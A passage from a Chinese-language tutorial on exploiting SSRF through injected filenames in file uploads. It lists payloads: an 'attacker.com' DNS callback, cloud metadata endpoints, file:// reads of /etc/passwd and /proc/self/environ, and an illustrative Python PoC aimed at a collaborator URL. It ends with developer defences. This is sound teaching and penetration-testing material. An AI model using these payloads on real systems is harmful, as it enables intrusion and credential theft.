80在公网服务器上监听80端口或者在服务器上运行一个简单的HTTP服务如python3 -m http.server 80然后在Payload中使用你的服务器IP。查看服务器访问日志即可。DNS回显有些环境可能限制HTTP出网但DNS查询可能被允许。可以尝试使用DNS格式的Payload如http://your-subdomain.attacker.com并在你的域名DNS解析商处查看查询日志。6.2 有回显SSRF的利用如果服务器的响应中包含了目标URL的响应内容例如上传后页面显示了远程图片或者错误信息中包含了请求结果那么利用起来就直观得多。探测内网服务使用常见的内部IP段10.0.0.0/8,172.16.0.0/12,192.168.0.0/16和端口尝试访问已知的管理界面、API接口如/api,/admin、数据库服务3306,6379,5432端口等。访问元数据服务在云环境中这是重中之重。AWS:http://169.254.169.254/latest/meta-data/Google Cloud:http://metadata.google.internal/computeMetadata/v1/Azure:http://169.254.169.254/metadata/instanceAlibaba Cloud:http://100.100.100.200/latest/meta-data/读取本地文件使用file://协议如果允许尝试读取系统文件如/etc/passwd,/proc/self/environ, 应用配置文件等。6.3 编写可靠的PoC脚本为了在漏洞报告或自动化测试中提供清晰的证明可以编写一个简单的PoC脚本。以下是一个Python示例使用requests库的files参数模拟文件上传但手动构造了畸形的filenameimport requests target_url http://vuln-app.com/upload.php collaborator_url http://your-subdomain.oastify.com # 注意requests库的files参数会自动构造multipart但filename是它控制的。 # 为了注入我们需要手动构造请求体或者使用更底层的工具。 # 这里演示一个使用requests-toolbelt来部分自定义的方法非标准注入仅示意思路 from requests_toolbelt.multipart.encoder import MultipartEncoder # 创建一个自定义的multipart编码器尝试设置filename字段 fields { file: (filename collaborator_url , bfake image content, image/jpeg), submit: Upload } m MultipartEncoder(fieldsfields, boundary----WebKitFormBoundaryz7u8i9o0p) headers { Content-Type: m.content_type, } # 实际上requests-toolbelt会对filename进行编码可能破坏我们的注入。 # 因此对于复杂的SSRF filename注入最可靠的方式是直接发送原始HTTP请求。 # 可以使用 requests.post(url, datam, headersheaders)但可能不成功。 print(此脚本仅示意。对于精确的filename注入建议直接使用Burp Suite或手动构造原始请求。)更可靠的方法是使用http.client或socket库直接发送精心构造的原始HTTP请求数据包。7. 防御措施与安全开发建议作为开发者如何避免自己的应用落入此类陷阱永远不要信任客户端提交的文件名filename参数完全由用户控制必须视为不可信数据。不要用它直接进行文件系统操作如保存路径、传递给系统命令或网络请求函数。使用白名单校验文件扩展名和MIME类型不要依赖Content-Type头它也是客户端可控的。服务器端应读取文件内容的魔术字节Magic Bytes来判断真实类型并且只允许安全的扩展名如.jpg,.png,.pdf。对上传文件重命名使用服务器生成的随机文件名如UUID保存文件完全丢弃客户端提供的原始文件名。如果需要记录原始名应将其存入数据库并在使用时进行严格的输出编码。将文件服务置于非Web根目录上传的文件应保存在Web服务器无法直接访问的目录。通过一个专门的脚本如download.php?idxxx来安全地读取和提供文件该脚本应进行权限和所有权检查。禁用危险的文件处理功能如果应用需要处理用户上传的文件如文档转换、图片处理确保使用的库如ImageMagick、FFmpeg已更新到最新版本并配置了安全策略如禁用危险编解码器、设置资源限制。避免将用户控制的文件名或文件路径直接传递给这些库的命令行。实施网络层隔离运行应用的服务器应处于严格的内网环境中限制其向外发起请求的能力使用防火墙策略。对于必须访问外部资源的服务应使用固定的、受允许的出口IP和域名白名单。对用户输入进行严格的标准化和验证在解析multipart数据时使用成熟、经过安全审计的库如语言标准库或广泛使用的第三方库并保持库的更新。对解析出的所有字段包括filename进行严格的字符过滤和长度限制。从攻击者的视角理解这些漏洞最终是为了更好地构建防御。在代码审查和渗透测试中重点关注任何将用户控制的文件名与文件系统访问、网络请求、系统命令执行关联起来的代码路径这往往是SSRF和相关漏洞的藏身之处。